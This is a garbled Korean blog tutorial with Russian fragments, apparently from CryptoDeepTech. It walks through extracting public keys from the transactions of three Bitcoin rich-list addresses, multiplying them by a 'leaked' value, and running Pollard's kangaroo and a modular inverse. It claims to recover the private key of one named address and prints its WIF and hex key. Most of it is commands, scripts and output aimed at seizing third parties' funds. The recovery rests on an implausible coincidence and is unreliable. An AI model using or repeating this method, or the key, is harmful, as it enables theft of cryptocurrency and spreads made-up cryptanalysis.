ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기

크립토 딥 테크

https://www.youtube.com/embed/zu2yiaZ_LOs

이 글에서는 “BLOCKCHAIN ​​​​FOLBIT LEAKS” 리스트에서 유출된 정보와 “UTXO”  에서 유출된 공개키  만 알고 개인키를 줄이는 방법을 보여드리겠습니다   .
실험적인 부분에서는  08ReducePrivateKey  스크립트를 사용하여 비트코인 ​​지갑을 복구합니다.

타원 곡선 스칼라 곱셈은P 곡선에 점을 여러 번 추가하는 연산입니다k.

Q=kP=P+P+P, k times

P타원 곡선 위의 점  이며  큰  자연수k 입니다   .

모든 원시 구현에서  ECC스칼라 곱셈은 주요 계산 연산입니다. 효율성을 개선하는 데 있어 핵심 요소는  ECC빠른 스칼라 곱셈의 구현입니다. 따라서 많은 연구자들이  가속 스칼라 곱셈 에 대한 다양한 연구를 제안했습니다  .

ECPy 라이브러리를 사용해 보자

ECPy는 다음을 제공합니다.

  • ECDSA 서명
  • Ed25519 서명
  • ECSchnorr 서명
  • 보로메오 서명
  • 포인트 작업

우리의 많은 연구에서 우리는 도서관을 사용합니다  ECPy.Google Colab

[TerminalGoogleColab]을 엽니다 

“08ReducePrivateKey”  저장소를 사용해 보자

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/08ReducePrivateKey/

ls
ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기

ECPy 라이브러리를 설치하세요:

 

sudo apt install python2-minimal

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip3 install ECPy



ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기

Python  스크립트:  maxwell.py  ,  저장 код  하고 터미널에서 실행Google Colab

from ecpy.curves     import Curve,Point

cv = Curve.get_curve('secp256k1')
G  = Point(0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798,
           0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8,
           cv)
x  = 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a1

PUBKEY  = x*G

print(PUBKEY)

실행 명령:

python3 maxwell.py
ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기

결과:

(0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63 , 0xc0c686408d517dfd67c2367651380d00d126e4229631fd03f8ff35eef1a61e3c)

x 좌표에 주의하세요

x value = 3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63

0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63

이  공개키를 “맥스웰의 허영심 공개키”  라고 합니다  .

0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 --> 0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63, 0x3f3979bf72ae8202983dc989aec7f2ff2ed91bdd69ce02fc0700ca100e59ddf3
0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a1 --> 0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63, 0xc0c686408d517dfd67c2367651380d00d126e4229631fd03f8ff35eef1a61e3c

p = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

((p-1)/2) = 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0

0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63

이 공개 키에 대해 다시 이야기해 보겠습니다!

이제 실험적인 부분으로 넘어가 보겠습니다.

우리는 Bitcoin Rich List  에서  잔액이 3개  100 BTC 이상인 서로 다른 Bitcoin 주소를 보유하고 있습니다.

1KpHWkpG7BGxDuSJKYPYVvNSC6womEZdTu

1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm

1GrTCkqqcXhVTXoQkPJjU5LuFKgAvC3iqJ

이 비트코인 ​​주소를 얻어서  UTXO이제 세 개의 서명을 갖게 되었습니다.  ECDSA (스크립트 적용  01BlockchainGoogleDrive  )

c1ea2c9e48ce632488817781f89730d77cd4121f1c8f70a4be44d2a15e8e08d0
37다대30c6f7c6c4a2c930db979494783005a8e94d6861039fed21e3fa859b9
9dacfc8243109475383d5b30e8d5f0ba23d023bd47649064c208d4586b278436

RawTX3개의 다른 비트코인 ​​주소를 얻으세요 

01000000017fbdd4c9991d0ba4fb0a0c06f6933442c17678bce6dfa4bf80e22ed530bb933c010000008a47304402206d0ab626a7e477c27602ed63b2651517af077e6f3fafda671dd9952dfcb5f0b90220168eb51a48ce7496a699a800299f15638e0a7f36ae84e84e26df0cd2a280a70e014104b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4feffffff0240597307000000001976a914211090b628fa6351fa8240232e3c2753fd5eece588ac700369d2050000001976a914ce639943ce1602e30b249faf74388ee0eeb1d3c588ac84b90700
01000000014666d430766d611cc7f2c21494e68e463ac4be8bb2f70b91693728324849e1c3010000008a473044022057a02a4abc38e2e3e1809b05402cf52faef7e101d6364d43bb0305f8796b0fb202203d1934a016c91072ffe137575734454161284ab3371a0cfc6767db7f27f24a75014104ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240cffffffff01b0feea0b000000001976a9148300ab0caebb6e85cf9e6b287a57924d1ac7c82f88ac00000000
01000000019d8e5e1bfac780b813e41517926aca95048e1dea92cbbe2a98475ff53ad38ccd000000008c493046022100c7b76326879a5ec7df2ffedb292a45c13c6f154982fc2cd7e05f0d0d0dce2d05022100d7fd43416608eaeb6356f04b601ac6edd23e0f82de44689fe5a7aa2f576637a001410480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56cffffffff01a93de702000000001976a914119fb35bad07974c1a8d47d210ca3048bb13be8788ac00000000

필요한 모듈을 모두 설치하세요:

bitcoin
ecdsa
utils
base58


pip2 install -r requirements.txt
ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기

breakECDSA.py 스크립트를 사용하여   비트코인 ​​주소의 공개 키를  알아냅니다. 

python2 breakECDSA.py 01000000017fbdd4c9991d0ba4fb0a0c06f6933442c17678bce6dfa4bf80e22ed530bb933c010000008a47304402206d0ab626a7e477c27602ed63b2651517af077e6f3fafda671dd9952dfcb5f0b90220168eb51a48ce7496a699a800299f15638e0a7f36ae84e84e26df0cd2a280a70e014104b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4feffffff0240597307000000001976a914211090b628fa6351fa8240232e3c2753fd5eece588ac700369d2050000001976a914ce639943ce1602e30b249faf74388ee0eeb1d3c588ac84b90700 >> PublicKeys.txt
python2 breakECDSA.py 01000000014666d430766d611cc7f2c21494e68e463ac4be8bb2f70b91693728324849e1c3010000008a473044022057a02a4abc38e2e3e1809b05402cf52faef7e101d6364d43bb0305f8796b0fb202203d1934a016c91072ffe137575734454161284ab3371a0cfc6767db7f27f24a75014104ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240cffffffff01b0feea0b000000001976a9148300ab0caebb6e85cf9e6b287a57924d1ac7c82f88ac00000000 >> PublicKeys.txt
python2 breakECDSA.py 01000000019d8e5e1bfac780b813e41517926aca95048e1dea92cbbe2a98475ff53ad38ccd000000008c493046022100c7b76326879a5ec7df2ffedb292a45c13c6f154982fc2cd7e05f0d0d0dce2d05022100d7fd43416608eaeb6356f04b601ac6edd23e0f82de44689fe5a7aa2f576637a001410480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56cffffffff01a93de702000000001976a914119fb35bad07974c1a8d47d210ca3048bb13be8788ac00000000 >> PublicKeys.txt
ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기

 출시 후에는 세 개의 비트코인 ​​주소 모두에 대한 공개 키를 받게 됩니다  .

결과는 PublicKeys.txt 파일에 저장됩니다.

Откроем файл: PublicKeys.txt

cat PublicKeys.txt
ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기
PUBKEY = 04b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4
PUBKEY = 04ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240c
PUBKEY = 0480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56c

이러한 공개 키를 좌표점 (x,y) 형태로 만들어 보겠습니다.

(0xb3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97 , 0xfe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4)
(0xea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd , 0x1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240c)
(0x80edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2 , 0xb5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56c)

좌표점을  Coordinates.txt(x,y) 파일에 저장합니다. 

블록체인 폴빗 유출

“블록체인 폴비트 리크스” 에서 알려진 블록체인 리크 목록을 공개해 보자 2019 год 

ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기

값을 복사해 보겠습니다.

dac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae
ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기

(x,y)이제 누설 값을 적용하여  모든 점의 좌표에 점 곱셈을 수행해 보겠습니다  .

maxwell.py  코드를 변경하고 이름을  scalarEC.py 로 변경하세요.

추가해 보자with open("Coordinates.txt", "rt") as base:

모든 새로운 좌표는 파일에 저장됩니다.SaveBase.txt

B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

B목록에서 코드에  값을 추가하고  Python  스크립트로 저장해 보겠습니다:  scalarEC.py

from ecpy.curves     import Curve,Point

with open("Coordinates.txt", "rt") as base:
    for line in base.read().splitlines():
        Gx, Gy = map(lambda v: int(v, 16), line[1: -1].split(" , "))

        cv = Curve.get_curve('secp256k1')
    
        P  = Point(Gx,Gy,cv)

        B  = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

        A  = B*P

        with open("SaveBase.txt", "a") as file:
            file.write(str(A))
            file.write("\n")

스크립트를 실행해 보겠습니다.

python3 scalarEC.py

Результат сохранился в файле: SaveBase.txt

Откроем файле: SaveBase.txt

cat SaveBase.txt
ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기
(0x92b9eeebb8c4fa108359bd31367e36b7fe65b4a7e06d533b476dee097572a4c0 , 0x4d2beb1835a2f8b85e3f61d32094dbf0b4c7a212bee42ee4612193c0653c6e56)
(0x65304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e7 , 0x7af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958)
(0x433c15b724948371877dd3c1014d59d1a13d76a29e4948903623a74767736b97 , 0x13f15f3bb28a4766952e10da9717aa3cc0bad90b0414f483718531d584721ea3)

모든 좌표점에 대한 누설 값으로 스칼라 곱셈을 한 후  새로운 점을 얻습니다(x,y) . 

이제 이 좌표를 압축되지 않은 공개 키 형태로 다시 써 보겠습니다.

이 공개 키를 살펴보겠습니다.

0465304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e77af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958

이제 우리는 Pollard의 Kangaroo  방법을 사용하여 개인 키를 찾습니다.

이전에 우리는 “Pollard’s Kangaroo가 알려진 범위에서 secp256k1 PRIVATE KEY + NONCES의 이산 로그에 대한 솔루션을 찾는다” 라는 기사를 게시했습니다. 

Python 스크립트  의  새로운 코드를  사용해 보겠습니다   :  kangaroo.pyPollard's KangarooTelariust 

다음 명령으로 gmpy2 모듈을 설치하세요.

sudo apt install python-gmpy2
ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기
ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기

다음으로  Python  스크립트를 실행합니다:  kangaroo.py

python2 kangaroo.py 32 0465304D24C0EDC862843587A96EA700F86E9E70E7801AC7DF9EFD2DE84230C3E77AF6D83573849D2368A021E835C5768E1B791C0C1B4CFAFB9795058DF5F27958
ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기
ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기

터미널에서 우리는 다음을 얻는 데 성공했습니다  "prvkey".

[prvkey#32] 0x00000000000000000000000000000000000000000000000000000000795f9c63
[pubkey#32] 0465304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e77af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958

결과는 Privkey.txt 파일에 저장됩니다.

Откроем файл командой: 

cat Privkey.txt
ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기
00000000000000000000000000000000000000000000000000000000795f9c63

우리는 공개 키에 대한 축소된 개인 키를 얻었습니다.

0465304D24C0EDC862843587A96EA700F86E9E70E7801AC7DF9EFD2DE84230C3E77AF6D83573849D2368A021E835C5768E1B791C0C1B4CFAFB9795058DF5F27958

개인 키에 주의하세요:

ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기

후자는  8 цифр공개  키  “맥스웰의 허영 공개 키” 와 일치합니다.формате HEX

0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63

A = 0x00000000000000000000000000000000000000000000000000000000795f9c63
B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

이제 세 개의 비트코인 ​​주소 중 하나에 대한 개인 키를 얻으려면 모듈  значение A로 나누기를 수행해야 합니다.значение B

Privkey = ((A * modinv(B,N)) % N)

Python 스크립트를 사용해 보겠습니다   :  calculate.py

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m

N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

A = 0x00000000000000000000000000000000000000000000000000000000795f9c63
B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae


print (h(((A) * modinv(B,N)) % N))

Python 스크립트를 실행해 보겠습니다   :  calculate.py

python3 calculate.py
결과적으로 우리는 터미널에서 HEX 포맷 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae의 개인 키를 받게 됩니다.
결과적으로 우리는 터미널에서 HEX 포맷 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae의 개인 키를 받게 됩니다.

bitaddress를 열어  확인해 보겠습니다.

ADDR: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm
WIF:  5JF9ME7zdGLDd3oyuMG7RfwgA1ByjZb2LbSwRMwM8ZKBADFLfCx
HEX:  38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae
ECPy + Google Colab 라이브러리를 사용하여 스칼라 곱셈을 통해 개인 키 줄이기

개인 키를 찾았습니다!

비트코인 지갑이 복구되었습니다!

www.blockchain.com/btc/address/1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm
www.blockchain.com/btc/address/1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm

 이 영상은 암호화폐의   약한 서명에 대한    타원 곡선에서 데이터의 재정적 보안과 암호화를 보장하기 위해   CRYPTO DEEP TECH 포털을 위해 제작되었습니다.  secp256k1ECDSABITCOIN

원천

텔레그램  :   https://t.me/cryptodeeptech

비디오: https://youtu.be/zu2yiaZ_LOs

출처: https://cryptodeeptech.ru/reduce-private-key



ECPy + Google Colab에 대해 더 자세히 알아보세요.

 암호 분석

От